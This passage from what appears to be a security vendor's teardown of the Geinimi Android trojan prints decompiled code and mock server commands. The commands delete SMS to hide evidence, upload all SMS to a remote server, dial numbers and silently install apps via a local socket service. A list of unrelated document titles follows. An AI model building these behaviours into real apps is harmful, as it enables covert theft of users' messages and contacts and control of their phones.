15 <CmdID>2</CmdID> <AdID>12</AdID> <dsms> ;spam</dsms> </Action> </Root> <!-- Command to delete a message that contains spamalot in the body, regardless of number --> <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> <Action> <CmdID>2</CmdID> <AdID>12</AdID> <dsms>null;goodness</dsms> </Action> </Root> The dsms command offers the operator of the server control over the device s inbox. Not only can the operator send messages to anyone, but they can also delete any evidence of this happening. The code that performs this can be found in jump.b.h.b(), commented below:.method public final b()v.registers 15 v2 = new String[] { _id, address, body, thread_id }; :try_start_1f // Get a content resolver invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a()Landroid/content/Context; invoke-virtual {v0}, Landroid/content/Context;- >getcontentresolver()landroid/content/contentresolver; const/16 v1, 0x27 // Decrypt content://sms/inbox invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; v0 = v0.query("content://sms/inbox", x,x,x, "date desc"); const-string v5, "date desc" invoke-virtual/range {v0.. v5}, Landroid/content/ContentResolver;- >query(landroid/net/uri;[ljava/lang/string;ljava/lang/string;[ljava/lang/string;ljava/lan g/string;)landroid/database/cursor; v1 = v0.movetofirst(); // Check if results where returned, if not return; invoke-interface {v0}, Landroid/database/Cursor;->moveToFirst()Z move-result v1 if-eqz v1, :cond_c6 v1 = v0.getcoloumnindex("address"); v2 = v0.getcolumnindex("body"); v3 = v0.getcolumnindex("_id"); v4 = v0.getcolumnindex("thread_id"); :cond_57 // Get string for "address" from cursor invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v5 // Get string for "body" from cursor invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v8 // Get string for "_id" from cursor invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; move-result-object v9 Lookout Mobile Security: Geinimi TrojanTechnical Teardown 15
16 // Get string for "thread_id" from cursor invoke-interface {v0, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; 0 // Check if the first part of the array to search for is empty if-eqz v7, :cond_cc // Check if the first parameter is the String "null", if it is we won t search // for a specific phone number const-string v11, "null" invoke-virtual {v7, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v11 if-nez v11, :cond_cc // Since 1 st parameter isn t null, check if the address field is the same invoke-virtual {v5, v7}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I move-result v5 if-ltz v5, :cond_df move v5, v12 :goto_78 array-length v11, v6 if-ge v5, v11, :cond_ca // Get the second parameter, and compare it to the "body" of the text message aget-object v11, v6, v5 invoke-virtual {v8, v11}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I move-result v11 // If it's found, then we should delete it if-ltz v11, :cond_c7 move v5, v12 :goto_84 if-eqz v5, :cond_c0 // Delete this specific SMS Uri.parse("content://sms/conversations/" + id); ContentResolver.delete(Uri.parse("content://sms/conversations/" + id), "_id=" + thread_id, null); const/4 v10, 0x0 invoke-virtual {v8, v5, v9, v10}, Landroid/content/ContentResolver;- >delete(landroid/net/uri;ljava/lang/string;[ljava/lang/string;)i :cond_c0 // Loop if there is another item for the cursor to point too invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z move-result v5 if-nez v5, :cond_57 :cond_c6 :goto_c6 return-void :cond_cc // Ignore the SMS s number and just check the msg body move v5, v12 :goto_cd array-length v11, v6 if-ge v5, v11, :cond_df aget-object v11, v6, v5 invoke-virtual {v8, v11}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I goto :goto_84.end method smsrecord Post stored SMS to a remote server smsrecord enumerates all available SMS messages on the device (both sent and received) and posts them to a remote URI. The command has three parameters: the URI to post data to, start date, and end dates that form a search range for messages. An example of a mocked command: <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> <Action> Lookout Mobile Security: Geinimi TrojanTechnical Teardown 16
17 <CmdID>2</CmdID> <AdID>12</AdID> <smsrecord> 01:01:01; :01:01</smsrecord> </Action> </Root> This command results in the posting of SMS messages dated between :01:01 and :01:01 to the supplied URI. The command object execute callback hands the bulk of the work to jump2.e.i.a(string server, String afterdate, String beforedate). It tags the SMS as sent/received, gathers its data and pipes it out to the specified URI as in the following HTTP POST body: imei= &imsi= &cpid=3305&ptid= &salesid=0006&did=2001&s dkver=10.7&autosdkver=10.7&sms= il try to move to somewhere with better its not are you guys Is wendy back &type=send call Dial an arbitrary number call is as straight-forward as its seems. Here is an example of the command in action: <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> <Action> <CmdID>2</CmdID> <AdID>12</AdID> <call> </call> </Action> </Root> This command s implementation, found in jump2.b.c.b(), is simple. This function simply constructs an android.intent.action.call intent and fires it off with Context.startActivity(Intent):.method public final b()v.registers 4 // Make sure there was a phonenumberparameter previously initialized iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/c;->a:Ljava/lang/String; if-nez v0, :cond_5 :goto_4 return-void :cond_5 v0 = new Intent("android.intent.action.Call"); new-instance v0, Landroid/content/Intent; const-string v1, "android.intent.action.call" invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V v1 = Uri.parse("tel://" + phonenumberparameter); v0.setdata(v1); // Set URI invoke-virtual {v0, v1}, Landroid/content/Intent;- >setdata(landroid/net/uri;)landroid/content/intent; v0.setflags(0x1000); const/high16 v1, 0x1000 invoke-virtual {v0, v1}, Landroid/content/Intent;- >setflags(i)landroid/content/intent; // Get context invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a()Landroid/content/Context; v1.startactivity(v0); // Start call intent Lookout Mobile Security: Geinimi TrojanTechnical Teardown 17
18 invoke-virtual {v1, v0}, Landroid/content/Context;- >startactivity(landroid/content/intent;)v goto :goto_4.end method showurl Open a browser to a specified link showurl is essentially the same as call, firing an android.intent.action.view Intent carrying a URI extracted from the command data body:.method public final b()v.registers 4 // Load parameter and parse it into a URI iget-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/b/o;- >b:ljava/lang/string; invoke-static {v0}, Landroid/net/Uri;- >parse(ljava/lang/string;)landroid/net/uri; v1 = new Intent( android.intent.action.view ); new-instance v1, Landroid/content/Intent; const-string v2, "android.intent.action.view" invoke-direct {v1, v2, v0}, Landroid/content/Intent;- ><init>(ljava/lang/string;landroid/net/uri;)v v1.setflags(0x1000); const/high16 v0, 0x1000 invoke-virtual {v1, v0}, Landroid/content/Intent;- >setflags(i)landroid/content/intent; // Get context invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;- >a()landroid/content/context; // Start intent invoke-virtual {v0, v1}, Landroid/content/Context;- >startactivity(landroid/content/intent;)v return-void.end method install:// and install - Download an APK ; trigger installation There are actually two apparent install commands implemented in the Trojan, though only one has been observed as functional. install:// downloads an app and relies on the user activating the resulting notification presented in the Android UI. The install command (in the CmdID=2 partition) appears to be geared to trigger installation via an out-of-process service: <! CmdID=1 for a suggested install --> <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> <Action> <CmdID>1</CmdID> <AdID>12</AdID> <ShowMode>install:// e> </Action> </Root> <! CmdID=2 for the silent installer --> <?xml version="1.0" encoding="utf-8" standalone="no"?> <Root> Lookout Mobile Security: Geinimi TrojanTechnical Teardown 18
19 <Action> <CmdID>2</CmdID> <AdID>12</AdID> <install> activity</install> </Action> </Root> The server command structure of these commands is the same, with only slight differences in form. The download code is also similar, and can be seen below extracted from jump2.a.g.b():.method public final c()z.registers 6 new-instance v0, Lcom/dseffects/MonkeyJump2/jump2/e/l; // Get saved url from HashMap const-string v1, "apk_url" invoke-virtual {p0, v1}, Lcom/dseffects/MonkeyJump2/jump2/a/g;- >a(ljava/lang/string;)ljava/lang/string; // Get absolute path to external storage sget-object v2, Lcom/dseffects/MonkeyJump2/jump2/e/k;->d:Ljava/lang/String; // Create a install command object new-instance v3, Lcom/dseffects/MonkeyJump2/jump2/a/h; invoke-direct {v3, p0}, Lcom/dseffects/MonkeyJump2/jump2/a/h;- ><init>(lcom/dseffects/monkeyjump2/jump2/a/g;)v // Start a download of URL v1, save the location of v2, // perform command v3 when done const/4 v4, 0x0 invoke-direct {v0, v1, v2, v3, v4}, Lcom/dseffects/MonkeyJump2/jump2/e/l;- ><init>(ljava/lang/string;ljava/lang/string;lcom/dseffects/monkeyjump2/jump2/e/m;i)v invoke-virtual {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/l;->start()V const/4 v0, 0x1 return v0.end method Inside Thread jump2.e.l, we find the code that implements the download and invokes the supplied instance of the jump2.e.m command. jump2.a.h saves the local files path to local_apk_url via jump2.a.h.b(string path) where it is picked up in jump2.a.g.g():.method public final g()landroid/content/intent;.registers 5 const-string v3, "local_apk_url" new-instance v0, Ljava/io/File; // Get the local apk path that was previously saved const-string v1, "local_apk_url" invoke-virtual {p0, v3}, Lcom/dseffects/MonkeyJump2/jump2/a/g;- >a(ljava/lang/string;)ljava/lang/string; // Ensure it exists invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V invoke-virtual {v0}, Ljava/io/File;->exists()Z move-result v0 if-nez v0, :cond_1f // If file doesn't exist, attempt to redownload new-instance v0, Lcom/dseffects/MonkeyJump2/jump2/a/i; invoke-direct {v0, p0}, Lcom/dseffects/MonkeyJump2/jump2/a/i;- ><init>(lcom/dseffects/monkeyjump2/jump2/a/g;)v iput-object v0, p0, Lcom/dseffects/MonkeyJump2/jump2/a/g;- >b:lcom/dseffects/monkeyjump2/jump2/e/m; invoke-virtual {p0}, Lcom/dseffects/MonkeyJump2/jump2/a/g;->c()Z const/4 v0, 0x0 :goto_1e return-object v0 :cond_1f // If file exists build URI Lookout Mobile Security: Geinimi TrojanTechnical Teardown 19
20 v0 = new Intent("android.intent.action.VIEW"); new-instance v0, Landroid/content/Intent; const-string v1, "android.intent.action.view" invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string v2, "file://" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; const-string v2, "local_apk_url" invoke-virtual {p0, v3}, Lcom/dseffects/MonkeyJump2/jump2/a/g;- >a(ljava/lang/string;)ljava/lang/string; move-result-object v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; v0.setdateandtype(uri.parse("file://" + local_apk_url), "application/vnd.android.package-archive"); const-string v2, "application/vnd.android.package-archive" invoke-virtual {v0, v1, v2}, Landroid/content/Intent;- >setdataandtype(landroid/net/uri;ljava/lang/string;)landroid/content/intent; goto :goto_1e.end method The end result is an Intent that is placed in the notification bar. Thus, we think of install:// a suggested install command. It requires the user to actively click on the notification and agree to the prompts to complete the installation. Contrast this with the CmdID=2 variant of the install command. This command has a different and seemingly more suspicious implementation, though we have not been able to observe it fully in action as it relies on a loopback network service that we have not observed operating. This command first proceeds to download as in the suggested version; however, the commands diverge in the callback they execute to handle the downloaded APK:.method public final b(ljava/lang/string;)v.registers 8 const/16 v2, 0x5b const-string v5, " " v0 = "cmd cp" + " " + local_apk_path + " " + "/data/" new-instance v0, Ljava/lang/StringBuilder; invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V // returns "cmd cp" const/16 v1, 0x58 invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;- >append(ljava/lang/string;)ljava/lang/stringbuilder; invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; v0 = e/q.d(v0); // Send command invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z move-result v0 // Check if command was sent successfully if-eqz v0, :cond_d3 Lookout Mobile Security: Geinimi TrojanTechnical Teardown 20
21 v0 = "/data/" + file_name new-instance v0, Ljava/lang/StringBuilder; v1 = "cmd pm" + " " + "install" + " " + v0 new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V // returns "cmd pm" const/16 v2, 0x59 invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; move-result-object v2 // returns "install" const/16 v2, 0x55 invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; move-result-object v2 v0 = e/q.d(v0); // Send command invoke-static {v1}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z move-result v1 // Check if command succeeds if-eqz v1, :cond_b3 // Check if a package name was passed as an argument iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;- >a:lcom/dseffects/monkeyjump2/jump2/b/i; iget-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/b/i;->b:Ljava/lang/String; if-eqz v1, :cond_b3 // Check if a class name was passed as an argument iget-object v1, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;- >a:lcom/dseffects/monkeyjump2/jump2/b/i; iget-object v1, v1, Lcom/dseffects/MonkeyJump2/jump2/b/i;->c:Ljava/lang/String; if-eqz v1, :cond_b3 new-instance v1, Landroid/content/Intent; invoke-direct {v1}, Landroid/content/Intent;-><init>()V new-instance v2, Landroid/content/ComponentName; // Get package name iget-object v3, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;- >a:lcom/dseffects/monkeyjump2/jump2/b/i; iget-object v3, v3, Lcom/dseffects/MonkeyJump2/jump2/b/i;->b:Ljava/lang/String; // Get class name iget-object v4, p0, Lcom/dseffects/MonkeyJump2/jump2/b/j;- >a:lcom/dseffects/monkeyjump2/jump2/b/i; iget-object v4, v4, Lcom/dseffects/MonkeyJump2/jump2/b/i;->c:Ljava/lang/String // Create Component invoke-direct {v2, v3, v4}, Landroid/content/ComponentName;- ><init>(ljava/lang/string;ljava/lang/string;)v invoke-virtual {v1, v2}, Landroid/content/Intent;- >setcomponent(landroid/content/componentname;)landroid/content/intent; const/high16 v2, 0x1000 invoke-virtual {v1, v2}, Landroid/content/Intent;- >setflags(i)landroid/content/intent; invoke-static {}, Lcom/dseffects/MonkeyJump2/jump2/e/k;->a()Landroid/content/Context; move-result-object v2 // Start activity to launch newly installed applciation v2.startactivity(v1); invoke-virtual {v2, v1}, Landroid/content/Context;- >startactivity(landroid/content/intent;)v :cond_b3 v1 = "cmd rm" + " " + "/data/" + file_name new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V // returns "cmd rm" const/16 v2, 0x5a invoke-static {v2}, Lcom/dseffects/MonkeyJump2/jump2/e/p;->a(I)Ljava/lang/String; move-result-object v2 v0 = e/q.d(v0); // Send command invoke-static {v0}, Lcom/dseffects/MonkeyJump2/jump2/e/q;->d(Ljava/lang/String;)Z :cond_d3 return-void.end method Lookout Mobile Security: Geinimi TrojanTechnical Teardown 21
22 Above we find code that constructs several commands and attempts to send them to a local network service. The commands that are constructed: cmd cp <downloaded path> /data/ cmd pm install <arg> cmd rm <path> certainly have the appearance of being intended for command-line execution. As the destination path for the APK is uid/gid system one would assume that the target service would have to be running at a privileged level for these commands to succeed. We find the implementation of the client side of this command dispatch system in jump2/e/q;->d below:.method public static d(ljava/lang/string;)z.registers 8 const/4 v6, 0x0 :try_start_1 // Create a socket connection to on port 8791 new-instance v0, Ljava/net/Socket; const-string v1, " " const/16 v2, 0x2257 invoke-direct {v0, v1, v2}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V invoke-virtual {v0}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream; invoke-virtual {v0}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream; const/16 v2, 0x200 new-array v2, v2, [B const-string v3, "hi,xiaolu" invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B move-result-object v3 // Send challenge phrase "hi,xiaolu" invoke-virtual {v0, v3}, Ljava/io/OutputStream;->write([B)V // Read response invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I move-result v3 new-instance v4, Ljava/lang/String; const/4 v5, 0x0 invoke-direct {v4, v2, v5, v3}, Ljava/lang/String;-><init>([BII)V const-string v3, "hi,liqian" invoke-virtual {v4, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v3 // Check if the response was "hi,liqian", if not exit if-eqz v3, :cond_5e invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B move-result-object v3 // send command invoke-virtual {v0, v3}, Ljava/io/OutputStream;->write([B)V // read response invoke-virtual {v1, v2}, Ljava/io/InputStream;->read([B)I move-result v1 new-instance v3, Ljava/lang/String; const/4 v4, 0x0 invoke-direct {v3, v2, v4, v1}, Ljava/lang/String;-><init>([BII)V const-string v1, "command ok" // check if response was "command ok", if not ok write back "bye", return false; // else if response wasn't "command ok", then write back "bye", return true; invoke-virtual {v3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v1 Lookout Mobile Security: Geinimi TrojanTechnical Teardown 22
23 if-eqz v1, :cond_5c const/4 v1, 0x1 :goto_4b const-string v2, "bye" invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B move-result-object v2 invoke-virtual {v0, v2}, Ljava/io/OutputStream;->write([B)V :try_end_54.catch Ljava/net/UnknownHostException; {:try_start_1.. :try_end_54} :catch_56.catch Ljava/io/IOException; {:try_start_1.. :try_end_54} :catch_59 move v0, v1 :goto_55 return v0.end method If the service is connected successfully, the client sends the challenge "hi,xiaolu" and expects the response hi,liqian. The client writes its command seeks a response of command ok from the server, returning an indication of success/failure to the caller. Note that this is the same backing implementation for the shell reinforcing our presumed purpose of the server. We have observed additional commands in action, but leave investigation as an exercise to the reader. To highlight others we have triggered from a mock server and observed to date: updatehost Updates the server list with a new list supplied by the server. changefrequency Changes the frequency preference for checking into the server. skiptime Controls the delay between command execution. applist Delivers a list of installed applications to the server. contactlist Dumps contact information including display name, last access time, and phone number about all device contacts to the server. Conclusion Geinimi is certainly not the first piece of mobile malware to exhibit many of its traits. It does, however, represent a significant jump in sophistication and capabilities from its predecessors on the Android platform. It represents the first piece of Android malware to employ a bytecode obfuscator and internal encryption to obfuscate its purpose. It is the first case of Android malware grafted onto a legitimate application and, though the most sophisticated Spyware applications have come close, Geinimi is accepting the broadest array of commands from a server under the control of an unknown party that we have seen to date. There has been much speculation as to the intent of Geinimi. It could be nothing more than a Trojan advertising platform with overbearing promotional hooks by our standards. At the extreme, the array of capabilities under 3 rd party control could amount to an attempt to build a botnet. These are widely different assessments that Lookout Mobile Security: Geinimi TrojanTechnical Teardown 23
24 rely on knowing the intent of Geinimi s authors, a perspective that we don t have available to analyze. What is clear, however, is that Geinimi is something that nobody in their right mind wants installed on their mobile device. Lookout Mobile Security: Geinimi TrojanTechnical Teardown 24
Payload One Package: com.droiddream.bowlingtime MD5: d4fa864eedcf47fb7119e6b5317a4ac8
Lookout Mobile Security Technical Tear Down Threat Name DroidDream, Payload One & Two Sample used in the analysis Payload One Package: com.droiddream.bowlingtime MD5: d4fa864eedcf47fb7119e6b5317a4ac8 Payload
Android malware analysis InfoSec Institute IT Training and Information Security Resources
Android malware analysis InfoSec Institute IT Training and Information Security Resources http://resources.infosecinstitute.com/android-malw are-analysis/ October 15, 2011 The advance in technology brought
Reversing Android Malware
Reversing Android Malware The Honeynet Project 10 th Annual Workshop ESIEA PARIS.FR 2011-03-21 MAHMUD AB RAHMAN (MyCERT, CyberSecurity Malaysia) Copyright 2011 CyberSecurity Malaysia MYSELF Mahmud Ab Rahman
Spring Design ScreenShare Service SDK Instructions
Spring Design ScreenShare Service SDK Instructions V1.0.8 Change logs Date Version Changes 2013/2/28 1.0.0 First draft 2013/3/5 1.0.1 Redefined some interfaces according to issues raised by Richard Li
Online signature API. Terms used in this document. The API in brief. Version 0.20, 2015-04-08
Online signature API Version 0.20, 2015-04-08 Terms used in this document Onnistuu.fi, the website https://www.onnistuu.fi/ Client, online page or other system using the API provided by Onnistuu.fi. End
Harvesting Developer Credentials in Android Apps
8 th ACM Conference on Security and Privacy in Wireless and Mobile Networks, New York City, Jun 24-26 Harvesting Developer Credentials in Android Apps Yajin Zhou, Lei Wu, Zhi Wang, Xuxian Jiang Florida
Getting Started with Android Programming (5 days) with Android 4.3 Jelly Bean
Getting Started with Android Programming (5 days) with Android 4.3 Jelly Bean Course Description Getting Started with Android Programming is designed to give students a strong foundation to develop apps
From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?
From Georgia, with Love Win32/Georbot Is someone trying to spy on Georgians? At the beginning of the year, a curious piece of malware came to our attention. An analyst in our virus laboratory noticed that
Installation and Administration Guide
Installation and Administration Guide BlackBerry Enterprise Transporter for BlackBerry Enterprise Service 12 Version 12.0 Published: 2014-11-06 SWD-20141106165936643 Contents What is BES12?... 6 Key features
Defeat SSL Certificate Validation for Google Android Applications
White Paper Defeat SSL Certificate Validation for Google Android Applications By Naveen Rudrappa, Security Consultant, McAfee Foundstone Professional Services Table of Contents Overview 3 Proxy Primer
Practice Fusion API Client Installation Guide for Windows
Practice Fusion API Client Installation Guide for Windows Quickly and easily connect your Results Information System with Practice Fusion s Electronic Health Record (EHR) System Table of Contents Introduction
Junos Pulse for Google Android
Junos Pulse for Google Android User Guide Release 4.0 October 2012 R1 Copyright 2012, Juniper Networks, Inc. Juniper Networks, Junos, Steel-Belted Radius, NetScreen, and ScreenOS are registered trademarks
Creating a Simple, Multithreaded Chat System with Java
Creating a Simple, Multithreaded Chat System with Java Introduction by George Crawford III In this edition of Objective Viewpoint, you will learn how to develop a simple chat system. The program will demonstrate
Lab Exercise SSL/TLS. Objective. Requirements. Step 1: Capture a Trace
Lab Exercise SSL/TLS Objective To observe SSL/TLS (Secure Sockets Layer / Transport Layer Security) in action. SSL/TLS is used to secure TCP connections, and it is widely used as part of the secure web:
A Characterization of Malicious Android Applications
A Characterization of Malicious Android Applications Lorenzo Gomez Iulian Neamtiu Department of Computer Science and Engineering University of California, Riverside {gomezl,neamtiu}@cs.ucr.edu June 2011
Sample EHG CL and EHG SL10 16-bit Modbus RTU Packet
Sent to EHG - Read (16-bit) Process Value Controller 00000011 0x03 3 Function Code - Read Holding Registers 00000000 0x00 0 Read starting at register High byte (Process Value Controller is contained in
Design Notes for an Efficient Password-Authenticated Key Exchange Implementation Using Human-Memorable Passwords
Design Notes for an Efficient Password-Authenticated Key Exchange Implementation Using Human-Memorable Passwords Author: Paul Seymer CMSC498a Contents 1 Background... 2 1.1 HTTP 1.0/1.1... 2 1.2 Password
WIZnet S2E (Serial-to-Ethernet) Device s Configuration Tool Programming Guide
WIZnet S2E (Serial-to-Ethernet) Device s Configuration Tool Programming Guide Rev 0.2 This document describes how to make your own Configuration Tool for WIZ100SR, WIZ105SR and WIZ110SR of WIZnet. And
Aspera Connect User Guide
Aspera Connect User Guide Mac OS X 10.4/10.5/10.6 Browser: Firefox 2+, Safari 2+ Version 2.3.1 Chapter 1 Chapter 2 Chapter 3 Appendix Introduction Setting Up 2.1 Installation 2.2 Configure the Network
ez Agent Administrator s Guide
ez Agent Administrator s Guide Copyright This document is protected by the United States copyright laws, and is proprietary to Zscaler Inc. Copying, reproducing, integrating, translating, modifying, enhancing,
Pre-configured AS2 Host Quick-Start Guide
Pre-configured AS2 Host Quick-Start Guide Document Version 2.2, October 19, 2004 Copyright 2004 Cleo Communications Refer to the Cleo website at http://www.cleo.com/products/lexihubs.asp for the current
Developing NFC Applications on the Android Platform. The Definitive Resource
Developing NFC Applications on the Android Platform The Definitive Resource Part 1 By Kyle Lampert Introduction This guide will use examples from Mac OS X, but the steps are easily adaptable for modern
PktFilter A Win32 service to control the IPv4 filtering driver of Windows 2000/XP/Server 2003 http://sourceforge.net/projects/pktfilter/
PktFilter A Win32 service to control the IPv4 filtering driver of Windows 2000/XP/Server 2003 http://sourceforge.net/projects/pktfilter/ Jean-Baptiste Marchand [email protected] Contents 1
SMTP-32 Library. Simple Mail Transfer Protocol Dynamic Link Library for Microsoft Windows. Version 5.2
SMTP-32 Library Simple Mail Transfer Protocol Dynamic Link Library for Microsoft Windows Version 5.2 Copyright 1994-2003 by Distinct Corporation All rights reserved Table of Contents 1 Overview... 5 1.1
Learning Outcomes. Networking. Sockets. TCP/IP Networks. Hostnames and DNS TCP/IP
CP4044 Lecture 7 1 Networking Learning Outcomes To understand basic network terminology To be able to communicate using Telnet To be aware of some common network services To be able to implement client
PROFESSIONAL. Node.js BUILDING JAVASCRIPT-BASED SCALABLE SOFTWARE. Pedro Teixeira WILEY. John Wiley & Sons, Inc.
PROFESSIONAL Node.js BUILDING JAVASCRIPT-BASED SCALABLE SOFTWARE Pedro Teixeira WILEY John Wiley & Sons, Inc. INTRODUCTION xxvii CHAPTER 1: INSTALLING NODE 3 Installing Node on Windows 4 Installing on
Grandstream XML Application Guide Three XML Applications
Grandstream XML Application Guide Three XML Applications PART A Application Explanations PART B XML Syntax, Technical Detail, File Examples Grandstream XML Application Guide - PART A Three XML Applications
Hacking your Droid ADITYA GUPTA
Hacking your Droid ADITYA GUPTA adityagupta1991 [at] gmail [dot] com facebook[dot]com/aditya1391 Twitter : @adi1391 INTRODUCTION After the recent developments in the smart phones, they are no longer used
Lab Exercise SSL/TLS. Objective. Step 1: Open a Trace. Step 2: Inspect the Trace
Lab Exercise SSL/TLS Objective To observe SSL/TLS (Secure Sockets Layer / Transport Layer Security) in action. SSL/TLS is used to secure TCP connections, and it is widely used as part of the secure web:
RMCS Installation Guide
RESTRICTED RIGHTS Use, duplication, or disclosure by the Government is subject to restrictions as set forth in subparagraph (C)(1)(ii) of the Rights in Technical Data and Computer Software clause at DFARS
PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling
Who Am I Chris Smith (@chrismsnz) Previously: Polyglot Developer - Python, PHP, Go + more Linux Sysadmin Currently: Pentester, Consultant at Insomnia Security Little bit of research Insomnia Security Group
OutDisk 4.0 FTP FTP for Email Users using Microsoft Windows and/or Microsoft Outlook. 5/1/2012 2012 Encryptomatic LLC www.encryptomatic.
OutDisk 4.0 FTP FTP for Email Users using Microsoft Windows and/or Microsoft Outlook 5/1/2012 2012 Encryptomatic LLC www.encryptomatic.com Contents What is OutDisk?... 3 OutDisk Requirements... 3 How Does
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
SysPatrol - Server Security Monitor
SysPatrol Server Security Monitor User Manual Version 2.2 Sep 2013 www.flexense.com www.syspatrol.com 1 Product Overview SysPatrol is a server security monitoring solution allowing one to monitor one or
GSM. Quectel Cellular Engine. HTTP Service AT Commands GSM_HTTP_ATC_V1.2
GSM Cellular Engine HTTP Service AT Commands GSM_HTTP_ATC_V1.2 Document Title HTTP Service AT Commands Version 1.2 Date 2015-04-13 Status Document Control ID Release GSM_HTTP_ATC_V1.2 General Notes offers
WebView addjavascriptinterface Remote Code Execution 23/09/2013
MWR InfoSecurity Advisory WebView addjavascriptinterface Remote Code Execution 23/09/2013 Package Name Date Affected Versions Google Android Webkit WebView 23/09/2013 All Android applications built with
Job Reference Guide. SLAMD Distributed Load Generation Engine. Version 1.8.2
Job Reference Guide SLAMD Distributed Load Generation Engine Version 1.8.2 June 2004 Contents 1. Introduction...3 2. The Utility Jobs...4 3. The LDAP Search Jobs...11 4. The LDAP Authentication Jobs...22
3.5. cmsg Developer s Guide. Data Acquisition Group JEFFERSON LAB. Version
Version 3.5 JEFFERSON LAB Data Acquisition Group cmsg Developer s Guide J E F F E R S O N L A B D A T A A C Q U I S I T I O N G R O U P cmsg Developer s Guide Elliott Wolin [email protected] Carl Timmer [email protected]
This report is a detailed analysis of the dropper and the payload of the HIMAN malware.
PAGE 5 Check Point Malware Research Group HIMAN Malware Analysis December 12, 2013 Researcher: Overview This report is a detailed analysis of the dropper and the payload of the HIMAN malware. This malware
WildFire Reporting. WildFire Administrator s Guide 55. Copyright 2007-2015 Palo Alto Networks
WildFire Reporting When malware is discovered on your network, it is important to take quick action to prevent spread of the malware to other systems. To ensure immediate alerts to malware discovered on
Investment Management System. Connectivity Guide. IMS Connectivity Guide Page 1 of 11
Investment Management System Connectivity Guide IMS Connectivity Guide Page 1 of 11 1. Introduction This document details the necessary steps and procedures required for organisations to access the Homes
Deploying the BIG-IP LTM with. Citrix XenApp. Deployment Guide Version 1.2. What s inside: 2 Prerequisites and configuration notes
Deployment Guide Version 1.2 Deploying the BIG-IP LTM with What s inside: 2 Prerequisites and configuration notes 3 Configuration Worksheet 4 Using the BIG-IP LTM Application Template for 8 Modifying the
TCP/IP Networking, Part 2: Web-Based Control
TCP/IP Networking, Part 2: Web-Based Control Microchip TCP/IP Stack HTTP2 Module 2007 Microchip Technology Incorporated. All Rights Reserved. Building Embedded Web Applications Slide 1 Welcome to the next
IceWarp Server Outlook Sync User Guide
IceWarp Unified Communications IceWarp Server Outlook Sync User Guide Version 11 Published on 7/23/2013 Contents Installation... 4 Installation Pre-requisites... 4 Installation Step-by-Step... 5 Activation...
